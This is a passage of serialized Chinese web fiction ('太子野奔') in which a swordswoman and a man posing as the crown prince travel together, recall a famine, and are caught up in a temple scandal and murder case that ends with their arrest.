只是她那副全然信任的态度,让他不由得好奇,她这种信任从何而来? “你又没骗过我,我为莫子不信你咧?”江蒙理所当然地说,“你都可以派兵救我,当然可以下圣旨救我们村。” 裴预忍不住:“那叫令旨。” 江蒙若是身在朝堂,恐怕今日戴上乌纱帽,明日就得连帽子带脑袋给还回去。 裴预扶额。 没骗过她…… 倒不如说,就没有不骗她的时候。 “对了太子,你还没说你怎么会在这儿呢。”江蒙四下望望,“还是一个人,多危险啊。” 她每叫一声太子,裴预心都要颤一下。冒充太子这种不拿九族当回事的行径,他是真不想再继续下去。 但若是跟她坦白,必然会完全破坏她对他的信任,到时候再非要把他带回村,反而很不妙。 再加上她最恨别人骗她,他更怕她一怒之下,直接把他给宰了。 “孤……在微服私访。”他心中又是那种淡淡的死意,“碰到泥石流,和侍卫走散了。” 江蒙好糊弄的很,立刻相信。听说他要去管城,惊喜道:“咱们顺路。” 裴预不大情愿地点点头。 日头高升,裴预早已饿得很,江蒙正巧也没吃饭,两人便在树下准备埋锅造饭。时隔一旬,裴预再次露天吃饭,这一次,他接受良好。 总觉得自己在朝着野人的方向适应。 衣裳烤干了,他换好出来,就见江蒙已从行李里拿出了家伙什。一只小铁瓮,一只布袋,一块黑乎乎的看上去像干肉的东西,还有一小罐子粗盐。 “咱们吃点儿好的,煮锅牛肉粥。”她说着,把袋子里的米倒出来一点进锅,顺手递给他,“去把这米淘了。” 裴预一时间以为自己听错了:“洗米?”他指着自己,“我?” 他下意识觉得这不是他该做的事。 “对啊,”江蒙理所应当,“难道你不吃饭?” 饭自然是要吃的。裴预已经不是以前那个讲究公子,再粗糙的饭,他也能下得去嘴。 “要吃饭就得干活儿。”江蒙把锅子往他怀里一塞,“去。我来看看有没有野菜。” “……” 圣人云君子远庖厨……但现在显然圣人的话不顶用。江蒙的话才是圣旨。裴预只好抱着锅,拿着水袋坐到一边。 低头往怀里一看,裴预不由得一阵嫌弃,这米也太脏了。搀着的草根、砂石且不说,米粒和他印象里白玉般的饱满颗粒也不同,是又灰又黄的,捏起一粒看,原来是外头有层皮。 裴预头皮一麻:洗米竟是如此麻烦的事。这么多米,他要一粒一粒的剥到何时啊? 下意识回头朝江蒙一望,她正蹲在远处,热火朝天地挖草。 想了想到底没跟她抱怨,转过头,认命地一粒一粒地去皮。他指甲修的圆润齐整,抠起来就格外费劲儿。 这厢裴预大战谷皮,那厢江蒙早就拔好了野菜,见裴预迟迟不来,心说就洗个米怎么这么长时间,便过来看是怎么回事。 “……你干嘛呢?” 裴预扭过头抬脸看她,一双美目清澈,怀里抱着的锅子一点没动,连滴水都没沾。正当江蒙怀疑他偷懒的时候,她看见他手里的米粒,和一旁石板上整整齐齐的一排白米。 江蒙也麻了。 “你……”她语结,一时不知该说什么,“我……哎,行吧。” 她蹲下把锅从他怀里接过来:“傻瓜吗这不是。” 折腾了一会儿,最终锅架到了火堆上,江蒙从腰后抽出刀,在那块梆硬的干牛肉上拉出一道口子,然后用手一条一条撕下来扔进锅里。 裴预注意到那口刀是新的。 “嗯,原来我自己的那把在无极教弄丢了。”江蒙垂着眼睛,“可惜了,那是我爹留给我的。” 她口气很淡,但裴预在她脸上,看到从未见过的落寞神情。 “未必。”他安慰她,“无极教的赃物全被官府查封,在库房中清点,回头我让人给你找找,说不准能找着。” 这么说只是安慰罢了,实际上一把做工粗糙的旧刀,没人会在意,可能早被扔了。 幸而江蒙不是想得深的人,她又高兴起来。 锅里水烧开了,涌出白色水汽,江蒙探身去搅动。火堆旁太热,她把袖子卷到肩膀,露出两条光裸的胳膊。 看似纤细,行动间却能绷出漂亮的肌肉线条,有种流畅而有力的美感。 只是美中不足的是,上面有两条长长的伤疤,还是 24. 第24劫 过去 《太子野奔》全本免费阅读 十二岁的江蒙成了个烫手山芋,村里人谁也不知道拿她怎么办。 老实说,尽管并非他们本意,但江蒙一家给村里添了不少麻烦。江大侠名声在外,朋友多,仇人更多。来寻仇的人时不时就把村里搅个天翻地覆,甚至有时还误伤了人。 虽然江大侠事后挨家挨户道歉赔偿,但罪已经受了,又不能抵消。 或许江家自己也觉得有愧,渐渐的,便不大与村里人来往。 大家也不熟,谁家也不富贵,养活自己都勉强,何况再添一张嘴? “仁者爱人。”最后村东的老秀才说话了,对江蒙道,“你不是会使刀吗?我家正好缺个看家护院的。” 老秀才十五岁就考中了秀才,是十里八乡有名的神童,可惜小时了了、大未必佳,这之后竟是屡考屡败、再没捞到半点功名。 村里人说这是文曲星只给了他秀才的命,官老爷说人生凡事有前期,尤是功名难强为。但他偏不信,次次赶考次次落榜,官府发的那点赏钱全用作盘缠了,弄得家徒四壁不说,人也变得神神叨叨的。 江蒙到了他家,看了两眼,便拔腿往外走。老秀才叫住她:“上哪儿去?” “你家不会遭偷的。”江蒙老实道,“用不着我看家护院。” “你回来!” 老秀才吹胡子瞪眼,半晌才平复,捋着花白胡子道:“不做保镖,那做书童吧。” 书童江蒙,识字磨墨,一样不会。其实江大侠也算半个风雅文化人,但她生来秉性随她妈,最厌读书,因此一概不学。江大侠便也不逼她。 但是老秀才不。 他实在无法容忍江蒙辱没他这书香门庭,给她喂多少饭,就要喂多少书。手里攥一块白面馒头,问江蒙:“人之初,下一句是什么?” 江蒙盯着他的手流口水,不得不绞尽脑汁:“呃,呃,性本善。” 老秀才高兴地掰下一块馒头,江蒙“嗷”的一口接过。 这样教一句吃一块地吃完,江蒙心满意足,老秀才也心满意足,开始喝自己的野菜汤。 照这个养法,迟早有一天他自己先饿死。村里人直摇头,于是隔三差五的,就把江蒙叫到自己家去。江蒙读书读的头疼,也乐得摆脱,谁叫都屁颠屁颠地去。 闲的没事,还给大家耍一套刀看,赢得满堂喝彩。村里小孩更是被迷得五迷三道,尊她为孩子王,天天跟在她屁股后面跑。二毛、狗坨过年得了块麦芽糖,舍不得吃,上供给她,自己在一旁眼巴巴地看着,咽着口水问甜不? 江蒙大嚼特嚼,甜!转眼吃个精光,真甜! 她在二毛家呆的时间也最多。二毛的亲娘是吴婶,江蒙刚生下来时她娘没奶,是吴婶主动抱过去喂了许多天,算是她半个娘。十四岁时吴婶送她一只芦花鸡,让她好好喂,下的蛋都算她的。 把江蒙高兴的,晚上睡觉都抱着鸡舍不得撒手。 只是不久后闹饥荒,江蒙便把它卖掉了。 她把卖的钱塞在枕头底下,趁天还未亮,悄悄走出吴婶家。天还黑着,空气冰冷,她拢拢破棉衣,攥紧刀柄,沉默地一个人走出村子。 这次她在外头晃荡了整整一年,跪着要过饭,给大户当过短工,除了卖肉什么都干,幸而最终没饿死。等她回到村子,大家一时半会儿都没认出她来。 她忐忑地走到吴婶家,十分的害怕吴婶和当年她娘一样,揍得她几天下不来床。所以当吴婶的巴掌拍到她身上时,她还松了口气:吴婶没用扫帚,劲儿也比她娘小多了。 “多你一张嘴我们就能饿死吗?”吴婶哭道,“下次再敢乱跑,我非打断你的腿。” 江蒙倒不怕了,凭她那点儿力气,很难做到啊。 她又恢复了以往的样子,平时呆在吴婶家,隔三差五有人来叫她吃饭,她也就去。 唯独老秀才叫她,她不去。 这样今天到这家,明天到那家,江蒙慢慢长大。身体抽条,骨骼坚硬,面庞轮廓明晰。眉眼浓黑,嘴唇红润,俊的远近闻名。 来说亲的媒人踏破门槛,吴婶乐的见牙不见眼,嫌这个矮嫌那个瘦,誓要挑一个十全十美的女婿。可惜她总挑不出来,后来也再没机会挑了。 村里老人说大概是当今皇上残暴无德,上天才会频频降下灾祸,这样的大旱谁都没见过。江蒙光脚走在田里,脚底板被烫的生疼。坚硬干燥的土地裂成一片一片,两旁的穗子全是空的,手一捏,碎成渣子掉下去。 大家上山下河,扒树皮,捞鱼虾,后来树秃了,水干了,终于吃无可吃。这时县里官差来到,说皇上要远征高句丽,你等必须交军粮,一粒也不能少。 打死的那个老伯,江蒙在他家里吃过饭。他家爱吃红薯,老给她红薯干,比别家的都甜。二毛和其他人一块儿被抓走了,撕心裂肺地冲她喊,照顾好我娘! 江蒙赶回家,吴婶躺在床上,肚子鼓得高高的,江蒙晓得那里头是观音土。她身上衣裳换过,似乎是出了趟门回来,额角都是汗,急促地喘着气。 她说不出话,只伸手哆哆嗦嗦指着墙角的粮缸。 江蒙走过去,路过吴婶的嫁妆箱子时,吃惊的发现那总是上着锁的描红箱子,竟然是开着的,里头空空如也。 她揭开粮缸盖。 里头竟然是一筐窝头。 江蒙愣了,盖上盖子,走回再无动静的吴婶床边。她似乎又变回了那个十二岁的小孩子,呆立着,完全不知道该怎么办。 她望着床上人灰败的脸,忽然感觉很空。 不是饿,就是空,好像天地间只剩她一个人。脑袋是木的,什么都想不起来,只是机械地把人背起来,迈动腿,走到后山挖坑。 她大张着两眼,心里不太清楚自己在做什么,只是手里的铁铲不停。挖到石头,手臂被震得发麻,也只当感觉不到。挖好了坑,把人埋进去,对着眼前低矮的小土堆,她仍旧很茫然。 “照顾好我娘 25. 第25劫 同行 《太子野奔》全本免费阅读 裴预一开始还犯嘀咕,没剥皮的米可以吃吗?但粥太香,他太饿,便将这问题抛之脑后。 吃的时候,又犯了难。 裴预没想到江蒙居然连个碗都不带,江蒙则表示她一个人吃饭,直接锅里能解决的事儿,为莫子还要多带个碗? 另外她一个人吃饭,所以只带了一个勺儿,很合理吧? 裴预脸一阵青一阵白。 最终两个人头对着头,直接就着锅,用一个勺子,轮流盛粥吃。 真是每一步都在踩着他神经跳舞。 勺子不许碰到嘴唇。这是裴预最后的挣扎。 什么吃相、礼仪……统统扔到爪哇国去。裴预袖子遮在面前,仰起脖子,勺子悬空,把粥倒进嘴里。觉得自己跟耍杂技的差不多。 他掩嘴咀嚼,满口是粮食的香气,尽管粗糙,但热腾腾的,配上牛肉和野菜,还是十分美味。 两人脑袋挨着脑袋,裴预一抬眼,就能看见一层热气后面,近在咫尺的江蒙的脸。她垂着眼盛粥,短短的竖直的睫毛盖住一半眼睛,看起来竟有点乖。 浓密的眼睫忽然抬起,那双浓墨重彩的眼瞳,骤然毫无距离地和他对视。 裴预瞳孔一缩。 江蒙用同样的姿势把粥倒进嘴里,几乎没有咀嚼就吞下去,脸上浮起快活的神情。 “你不嚼的吗?”裴预无法理解。 江蒙满不在乎地耸耸肩。 裴预是要细嚼慢咽的,就是吃着吃着,牙齿间忽然“嘎嘣”一声,他猝不及防:“唔!” 这声音巨大,对面的江蒙都听见了,毫不客气地“噗嗤”一声笑出声。 “沙子好嚼不?” “你这米没洗干净!” 做饭裴预没有贡献,饭后自然要刷锅,这活儿他干的倒是不错,洗的比江蒙的脸还干净。 收拾好家伙什,江蒙把行李老模样放到骡子背上,转身对着站起来跟在她身后的裴预道:“你的侍卫还没来哈。” 裴预点点头,面沉如水,恐怕他们已是凶多吉少。 想想也真是孽缘。第一次他的侍卫和刺客同归于尽,他孤身一人,只得落到江蒙手里。这一次他的侍卫又都走散,他又是一个人,落到她手里。 “那你在这儿再等等他们?”江蒙道,干咳一声,“我就先走了。” 裴预准备跟上她的脚步一顿。 他慢慢抬起头,望着她:“什么叫,你先走了?” 江蒙挠了挠脖子:“就,我先走啊。”她眼神飘远,“反正咱俩本来也不是一路。碰到了算是有缘,一块儿吃个饭也够了。” 万万没想到,说不愿意同行的人,不是他裴预,而是江蒙? 江蒙不想跟他一起走? 裴预拄着树枝,僵立原地,半晌说不出话来。 “你嫌弃我?”他不可置信。 “你要把我一个人丢下?”他声音提高。 他还能说什么,江蒙,这个女人,方才跟他说了这么久“人是最重要的”,“什么都比不上人”。把他说的都动容了。 结果转头就要把他一个瘸子丢在这荒郊野岭? 难道他不是人吗?! 裴预七窍生烟。 “因为跟你一起走真的麻烦嘛,”江蒙一摊手,坦白了,“你这人墨迹,还爱穷讲究,嫌弃这嫌弃那,这不许那不许的……我真是不乐意跟你呆一块儿。” “谁又想和你在一起了?”裴预瞪大眼睛。 “对啊,”江蒙来劲了,“你也不自在,我也不自在,那干嘛还要往一块儿凑呢?就各走各的呗,咱们青山不改绿水长流……” 她声音渐渐弱下去,因为纵然简单如她,也看得出裴预好像要吃人了。 可怕。 最后江蒙还是妥协,毕竟是荒郊野岭,裴预腿脚不便,又啥也不会,如果最终没等来侍卫,就相当于等来阎王爷了。 她的良心过不去。 所以尽管老大不乐意,她还是带上了裴预。两人达成一致:等找到一个落脚点,立马一拍两散。 绝不再有任何交集。 裴预骑在骡子上,脸黑的好似锅底。他现在很生气,非常生气,虽然他也不知道自己在气什么。 江蒙嫌弃他,可这又怎么了?他也嫌弃江蒙。世上断没有只许他嫌弃别人,不许别人嫌弃他的道理。 气江蒙说他的那些话?姓韩的弹劾他时把他骂的猪狗不如,他一笑而过。什么时候他裴预心胸狭窄到连这点话都听不得了? 不至于,他缓缓吐出一口气,有什么可生气的呢? 他的目光落到前方的江蒙身上,已是黄昏,金紫色的暮云前她背影如剪,走路的姿态轻盈而挺拔。 火气蹭的一下又冒出来。 叶十九,一个来路不明、举止轻浮的小子,她跟人家称姐道弟。无极教那帮疯疯癫癫的教众,她跟人家打成一团。怎么到他裴预这里,不说交情匪浅,那也是实打实共患难、同生死过,她却连同路都不愿意? 他就这么差劲吗? 就这般让她厌烦吗? “前面有铃声。”江蒙道,“可能有寺庙。” “很好。”裴预立刻硬邦邦地说,“我就在这里落脚,你愿意去哪儿就去哪儿,我们分道扬镳,再也不见。” 说着就要下骡子。 “你一个人?”江蒙有些迟疑,“太子,这尼庵、僧院,看着清净,可保不齐里头就藏着腌臜事,好人家等闲是去不得的。若真有事,两个人互相还有个照应,一个人恐怕应付不来。” 裴预冷哼:“我的死活跟你有什么关系?你还在乎我怎样吗?” “在乎啊。”江蒙认真道,“我总不能让你死了。” “……” 裴预噎了一下,有时他真羡慕江蒙,任尔夹枪带棒,她自无知无觉,这种不动如山的风度他需要修养,她却与生俱来。 也不知怎的,听了她这句话,他的火气一下子消散了。 裴预叹了口气。 他真是搞不懂自己,怎会如此幼稚,跟她闹什么脾气?明明她什么错也没有,不过就是心直口快。 “天色已晚,再赶路确也不便。”他语气恢复如常,“在此歇一晚,明日再出发吧。” 从官道岔开去,顺着小径,荒郊偏僻处,果然有一座寺院 26. 第26劫 寺庙 《太子野奔》全本免费阅读 “不应该啊,怎么会变这么严重?”江蒙挠了挠脸,“如果是我的话,现在早就好了。” 裴预坐在榻上,裤腿卷起露出脚踝,比昨日肿的更厉害,全是瘀血,像个紫萝卜。 他正咬牙忍痛,闻言从牙缝里挤出一句:“不好意思啊,我只是个凡夫俗子。” “多半是昨日走动太多,没好好休息,所以恶化了。”江蒙叹口气,“今日是走不得了。” 裴预垂着眼:“既然如此,你先走吧。我没事。” 这寺中既无危险,他一人留在这里也不妨事,江蒙不愿与他共处,早些放她走为好。 江蒙张口待要说什么,门外的嘈杂声忽然更大,听着像是有十几二十个人在吵嚷,隐隐还有女人的声音。她扭头向外望去:“出事了?” 她把药膏给裴预,嘱咐务必要把瘀血揉开,自己则起身出去看看情况。 出了禅房,过了大殿,就见乌泱泱一堆人聚在大殿前。极为热闹。 为首的是五六个家丁,手里操着扫帚棍棒之类,各个凶神恶煞,使劲儿往大殿里挤。一面挥舞棍棒,一面破口大骂,什么“贼秃驴”、“老色鬼”,污言秽语不绝。寺里的和尚们则拦在大殿前,不让他们进去打砸,一则是使劲儿推拒,二则被这般辱骂,一个个都满脸涨红,秃头上青筋凸起。 这边骂声不绝,寺门那里哭声不绝。门外停着两顶轿子,门里一个绸缎衣裳的老头,铁青着脸,背着手站着。 他后头,两个老婆子一左一右夹着个妙龄女子,指着那群和尚又骂又哭又嚎,中间那女子虽不像婆子那样撒泼,但战斗力也不遑多让,哭的是属引凄异、哀转不绝。 后头哭声助威,前头怎敢不冲锋陷阵?一个家丁见冲不进,率先把手里的棍扔了出去,来了招甩臂直飞。那棍“嗖”的一下冲进大殿,直取大佛脑门,“邦”的一声扣了记巨响亮的爆栗。 “哎呦。”江蒙倒抽一口凉气,这得亏是铜脑壳啊。 俗话说打人不打脸,虽然脑门严格来说不算脸,但毕竟释迦牟尼也是个成年人了,弹他一个脑瓜崩显然也不大尊重。这下和尚也怒了,人群里也不知是谁喊了一嗓子:“打他!” 这就好比一声冲锋号,双方顿时扭打在一起。你揍我一拳,我踢你一脚,这个专使扫堂腿,那个善作偷桃手……江蒙在一旁观战的津津有味,发觉这和尚打起架来还是有点优势,他能拽人家头发,人家去抓他却只能抓个空。 还是偷桃好使,毕竟上头虽没了,下头还是有。 “别打了!”这时又有几个和尚匆匆往这边赶来,“别打了!住持来了!” 江蒙扭头一看,见那一色的灰衣和尚中,簇拥着一个黄袈裟老头,瘦长脸,白胡子,面沉如水地朝这里走来。想必这就是住持了。 “都住手!”那几个和尚跑过来,试图分开打成一团的两拨人。 江蒙站在外围,随手扯过来一个拉架的和尚,“怎么了这是?”她问,“这都是谁?你们干什么了,让人家打上门来?” “我们什么也没干呀!”那和尚直喊冤,他不想跟她浪费时间,正要扭头继续去劝架,却被江蒙一把扯住脖上佛珠,拽了回去。 怎的遇上这样泼皮,他心下叫苦,只得指着那群人,给她讲道:“那是附近镇上的一个大户,叫张员外,那个站着后头哭的是他女儿,张小姐。他们来是非说我们寺里僧人,与张小姐有染。” “有染?”江蒙乐了,果真有偷女人的,“是那广明和尚吧?” “不可乱语,不可乱语。”和尚慌道。 江蒙见他确实不知情,便手一撒放了佛珠,那和尚立马溜走了。 见住持终于现身,那张员外才叫家丁住手,两拨人气喘吁吁地从地上爬起来,碰头散发地各站一边,恶狠狠瞪着对面。 打的最凶的那个家丁颠颠地跑到张员外旁边,扶着他手,缓步走下台阶,走到大殿前。 “小老儿只是来讨个说法。”张员外沉声道,“小女一向虔诚礼佛,却被你寺中孽畜勾引,作出不伦之事,以至于珠胎暗结!小老儿今日便要把那孽畜拿住打死,还我家一个公道!” 江蒙又倒吸一口冷气,那小姐看着年纪不大,没想到竟怀了孕。 张小姐弱质风流,生的娇花一般,正攥着婆子衣袖嘤嘤哭泣,此时被揭了丑事,更是大放悲声,几乎要晕过去。 这丧良心的秃驴。江蒙在心中骂了一句。 “绝无可能!”那老住持跨出一步,一脸端正肃穆,“我寺中绝无这等无耻之辈,张员外,你说话可要有凭据,怎能在此血口喷人!” 他说话铿锵有力,那模样不像在说谎。 “我家小女平日从不出深闺,亲族中也无一个男子,除了到你寺中礼佛,从未见过男人。如今有了身孕,她已跟我坦白是与那广明和尚的孽种。难不成我家小女会平白弃名声于不顾,污一个和尚么?!” 张员外愈发动了气。情真意切,也不像是在胡说。 “那更无可能了!”住持提高声音,万分笃定,“广明是我徒儿,我最了解他,他绝不可能贪恋女色,更不可能让女子有孕!” “你了解他甚么!”张员外大怒。 两边话赶话,登时又吵起来,张员外怒发冲冠,老住持言之凿凿,都一步不肯退让。底下家丁、和尚也顺势指着对方鼻子大骂,唾沫星子乱飞。 这时一个家丁一眼瞟到在旁看热闹的江蒙,赶紧对员外道:“我就说这帮子秃驴不干净!您看那竟然还有个女人!”他指着江蒙,“她肯定……” 看见江蒙手放到刀柄上,“……跟这个腌臜寺庙没有半点关系!” “你说对了。”江蒙放下手,“我只是个过路人,在这里借宿一晚,今日便要走的。” 好容易有个局外人,那家丁便来了劲,让她来评评理。 “唔。”江蒙看看这个,又看看那个,犹豫了。 她原本是觉得那广明和尚不是好东西,但是老住持一番话,正气凛然,没有一点心虚弱气,又让她有些怀疑。难道是张员外搞错了?她目光转向那员外,只见他直直地瞪着那老住持,脸色铁青,好像恨不得把对方皮扒了。 显然他也没搞错。 只可惜太子不在这儿,不然他一定能看出有什么蹊跷。 “你老说话呀!”那家丁催道。 “嗯,”江蒙挠了挠脖子:“为莫子不直接问问那和尚咧?” 在场静了一下。 “这位娘子忒糊涂!”张员外气道,“那贼秃狡猾,怎么能认?” 老住持也摇摇头:“若是让我徒儿出来,恐怕顷刻被这些人打死!” “我用手里这把刀做个见证,” 27. 第27劫 热闹 《太子野奔》全本免费阅读 “和尚有喜?”裴预停下了上药的手,无奈道,“江蒙,你自己听听这像话吗?” 江蒙从外头风风火火的进来,还没站住脚,就跟他说出了大事。她一口气把外头的奇事说完,这会儿口干舌燥,抄起桌上的茶水壶往嘴里倒。 闻言连忙放下壶,抹了把嘴:“没骗你!我见过女人小产,和广明的症状一模一样!” 她眼睛睁的大大的:“我眼珠子都要掉下来了,从来没见过这种鬼热闹。” “看出来了,眨眨眼吧,不干吗。” “可惜你没在那儿。”江蒙使劲儿闭了下眼睛,“所有人都惊呆了。你想,那张小姐怀了广明和尚的孩子,广明呢,他自己居然也怀了孩子!” “他也到过女儿国啊。” 裴预揉着脚踝,漫不经心道。 江蒙心说自己出去时就让太子上药,怎么过去这么久她都回来了,他还在上药?再低头一看,那脚踝已经被他揉的皮肉通红,瘀血不是开了,是开开了。 她赶紧把他手拿开。不由咋舌,本来还担心太子细皮嫩肉的,会忍不了痛揉不开,没想到他竟对自己下手这样狠。 他是感觉不到痛吗? 裴预:“对了,你何时动身?” “今日我不走了。”江蒙往椅子上一靠,“有这种好戏,当然得亲眼看看怎么收场。” 事情变得这样古怪,张员外便赶紧差人去镇上报官,又让家丁去请郎中过来。他年迈身弱,这一上午受了这许多刺激,便有些不适,只得在禅房中休息。 张小姐也不愿回府,执意要陪着广明,没了张员外发话,也没人劝得动她,于是张府这一大家子,竟都挤在了寺中。 太平寺登时热闹非凡。 江蒙自然是呆不住,出去看热闹了,裴预则没兴趣掺和,向寺里借了纸笔,一个人呆在禅房。 他还有许多事要处理。 虽然身不在朝堂,但他耳目众多,对朝中之事仍旧了如指掌。豆城时柳烟给了他一大堆折子,他还没看完,只得留在路上处理。没想到遇上走山,那些折子全葬身泥浆,如今也只好捡些记得的事儿办。 这些大大小小的事繁琐杂乱,其实若是单个发生也不至于太棘手,可偏偏又凑在了一起。东莱大灾,上了道折子请求赈灾,免除徭役。若是置之不理,恐怕引起民乱,可若是真的免了徭役,那么他们承办的战船便无法按时交付,又会贻误战事。吏部侍郎被联合参了一本,说他贪墨巨款,盘剥百姓,致使民怨沸腾。裴预对这个巨贪早已心生厌恶,但此人手里握着外藩的丝绸生意,若是免了他,今年好不容易谈成的二十万两的单子又要打水漂。苏杭的几道河堤还要修,正急等着用钱,否则汛期一到洪水泛滥,又不知多少百姓遭殃…… 韩一成也是上蹿下跳没个消停,手腕强硬整垮了一批他的人。半个月前豫州暴乱,刺史因此被罢免抄家,这里头没有韩一成的手笔,裴预是不信的。 裴预垂着眼睛深思,笔尖安静而迅速地在纸面游走。九州大事,无数人的命运,便都系于这一撮廉价的、有些秃了的羊毛笔尖,在这一间狭小破旧的禅房里,柔软地落定。 等最后一笔写完,裴预看看窗外,已是暮色沉沉。江蒙还没有回来,他将那一沓子的纸竖起来理了理,放到油灯上。 字纸一角被火舌舔上,顿时弯曲。 “太子!”门“砰”的被打开,江蒙兴冲冲从外头进来,“郎中到了,看了广明和尚跟那张小姐,你猜怎么着?你绝对猜不到!” 裴预慢慢将纸烧干净,把灰烬拢进掌中,淡道:“广明是女子。张小姐没有身孕?” 江蒙一呆。 “你怎么知道?”她瞪大眼睛。 郎中来了之后,先是给张小姐号了脉,结果是她并未怀孕。 多半是小姐年少天真,不大晓事,见自己近来没有胃口,常犯恶心,便捕风捉影,以为自己害了喜。 张员外狠狠松了一口气,又让给广明看。 广明却死活不肯让看,那住持护着徒儿,也一个劲儿阻拦。但架不住众人势大,硬是让郎中号了脉。不看不知道,一看吓一跳,这广明竟然确确实实是喜脉,而且已经两个月了! 一个和尚,竟然有喜,在场人无不骇然。 便有家丁怀疑这广明不是人,是个妖怪,所以能以男身怀孕。 越说越离谱了,江蒙不信这个邪,她是女人,众人便推举她去探探这和尚究竟是男是女。江蒙咽了口唾沫,看着瑟瑟发抖的广明,心里直打鼓:这和尚粗眉宽肩,哪儿有一点儿女人的模样? 但说他是妖怪,她又万万不信。她现在不相信任何神神鬼鬼的东西。 到底是好奇心压倒一切,她走到内室,按住广明,摸了一把。 “女人!”她被火烧般缩回手,瞪着广明,“你竟是女人!” 这事情跟白天相比,真是拐了一个大弯,朝着匪夷所思的方向去了。原本只是小姐与和尚有私情的烂俗事,谁曾想喊着怀孕的小姐没怀孕,怀了的是她的亲亲情郎? ……情娘? “张员外已报了官,明日一早恐怕就有公人上门拿人。”江蒙脱了鞋子上床,“明日,到了公堂之上,一切就都见分晓了。” 裴预点头。 明日,也大概是他离开的日子。 为了防止出现像上次一样侍卫全灭、他惨遭落单的情况,裴预这次预先安排了人,在途径的定城接应。若是到时间他不到,便要立即回程寻找。算算日子,今日他们应该已经发觉不对,动身前来找他了。 明日必然能找到这寺里。 想了一下午乱七八糟的事,裴预神思困倦,便早早入睡。梦中隐隐听到外头有吵闹声,也懒得管。 直到半夜,忽然“咚”的一声。 那声音似乎就响在耳边,裴预一惊,登时睁开眼睛,坐起身来。他惊疑地扫视一圈,只见满屋昏暗,空空荡荡,并无 28. 第28劫 冤案 《太子野奔》全本免费阅读 天气好得很,晴空万里,清晨的太阳灿烂,也没那么灼热。空气中还带着夜晚的清凉,走在路上,令人心旷神怡。蔚蓝如洗的天空下,两旁树林翠绿,夹着官道笔直向前。路两旁芳草杂花,在阳光下闪闪发亮。 如果不是被绑着,裴预应该会更投入地观赏这番风景。 “看个热闹也能被抓。”江蒙声音透着沮丧,“早知道昨天就该带上你先走的。” “是我伤了腿,才害你在此耽搁。”裴预叹息一声,“是我的错。” 幸而江蒙的药很好用,他今日脚踝消了肿,能下地走路了。 他们两个双手绑在后面,身后跟着四个应捕,正走在前往县衙的路上。双臂悬在背后的姿势并不好受,裴预不一会儿便感到胳膊酸麻,于是他回过头跟应捕商量。最后给了他们一人二两银子,他们给他和江蒙松了绑。 裴预活动活动手臂,呼出一口气。 “咱们跑吧。” “咳?!” 江蒙挨着他,压低声音:“现在好跑,等进了大牢,就不好出来了。” 裴预瞪大眼睛望着她。不知她是怎么想的,他腿脚不便,她被收了刀,两个人怎么跑得脱?就算侥幸逃脱,他们原本还只是嫌疑犯,这一跑就成了板上钉钉的逃犯,到时大街小巷都是他们的追捕告示。 他想象了下自己的画像被贴在墙上,底下写着“杀人者裴某”…… “当然不行!”他低声道,往后看了那几个捕头一眼,幸而他们正聊着天,没注意这边。 他低头刚要说话,却发现江蒙的侧脸十分紧绷,裴预顿了顿,软化口气:“冷静下来。现在只有一把斧头作为证据,说我们杀人显然站不住脚,别担心。” 江蒙深吸几口气。 “说出来不怕你笑话,我没上过公堂,也没蹲过大牢,现在很害怕。”她紧张道,“十个乌纱帽九个饭袋子,我怕那县太爷真给咱们定罪杀头。” 乌纱帽本人:“……” “不至于。”他扶额。这得是多昏庸的官才能做这样的事儿? 不过江蒙从没上过公堂,倒让他有些意外,他以为她闯荡江湖,应该经常和官府打交道,在大牢里进进出出才是。 “你怎么会这样想我?我可是良民!”江蒙直呼冤枉,“我是为民除害过几次,但当时就跑了,从来没被这样绑过,更没进过大牢的!” 这是良民?!这是逃犯! 原来她已经是逃犯了啊! “不能这么说,”江蒙解释,“我跑得快,没人知道是谁,所以没人通缉我。” “不对,你是太子啊。”江蒙忽然想起来。 她松了口气,又高兴起来。她怎么忘记这茬了,这可是太子,小小的一个县太爷,还敢冤枉他么?到了公堂之上,不用跟他废话,直接亮明身份,那县官自然不敢胡来。 裴预慌忙捂住她的嘴:“嘘!” 若是江蒙在众目睽睽之下喊出“他是太子!”这种话,他就只能杀了所有人灭口,那样会非常不好收场。 为了江蒙和其他人的生命安全,他勒令她绝不可以说出“太子”这两个字,要记得他现在是苏州府的布商,是来京中做生意的…… “罢了,”他想起这人完全不会说谎,“你到时什么也不要说。我来说。” “相信我。”他安慰道,“我们不会有事。” 后头那四个应捕在聊太平寺的事儿,正聊的热火朝天。江蒙被裴预说的安下心来,放松了许多,听他们说到失踪的张小姐,便也跟裴预猜测: “你说张小姐是不是被广明绑走了?” 在她看来广明就是个彻头彻尾的大骗子,先是假扮男人混进寺庙,然后骗了不谙世事的深闺小姐,让她爱上自己,心甘情愿地给她送香火钱。她甚至意图入赘张家,这样就可以从个穷酸和尚,一跃成为大户女婿。 “只是可怜了张小姐。这么喜欢的男人,居然是个女的,”江蒙握紧拳头,“还一直在骗自己。她知道真相以后,不知得有多伤心。” 裴预干咳一声。 “我倒觉得,事情未必是你想的那样。” 广明差点小产,身体正虚弱,要强行绑走另一个成年女子显然艰难。何况她如果是惧怕官府来查,完全可以自己一个人一走了之,何必带上张小姐这个麻烦? 因此不像绑架,更像是私奔。 “私奔?”江蒙一愣,“可她俩都是女人啊。” 她想了想,恍然大悟:“我知道了。” “张小姐是男的!” 广明是女的,张小姐是男的,她俩是真爱。广明肚里的孩子是张小姐的,所以张小姐谎称有孕,要广明入赘张家,这样广明生下孩子后,正好名正言顺。 但是今天这一出,广明女人的身份被戳穿,他们原来的算盘打不成了,便只好约定私奔。却被住持发现阻拦,于是杀了住持,逃之夭夭。 “……”裴预沉默一瞬,“张小姐哪里像男子了。” “广明也不像女的呀。” 江蒙虽然说的天马行空,但有一点和裴预想的一样,住持的死,必然是张小姐和广明所为。 至于原因,应该不是简单的阻止他们私逃。 佛门清净地,居然有个女子,还怀了孕,住持作为僧院之主自然难逃其咎,免不了要被扭送见官。在他的立场上,反倒希望广明和张小姐消失才是,人一走,真相如何不就是他说了算? 到时把责任都推到广明身上,自己正好摘个干干净净。 所以他不会阻拦二人私逃。 另外凶手的手法也令人心惊,用利斧劈开头颅,难以想象竟然是女子所为,这得是多大的仇恨? 可以想见当时三人一定是起了争执,凶手受到极大的刺激,愤恨之下拿斧头杀了人。 裴预心念一动。 广明腹中的孩子。 * 广明咳嗽一声。 夜已经深了,外头终于消停下来,她苍白着脸,低头喝下抵到唇边的药。 “现在还不跟我说实话么?”张小姐 29. 第29劫 同窗 “人证物证俱在,结案!”县太爷雄赳赳宣布道,“把犯人押下去,秋后问斩。” 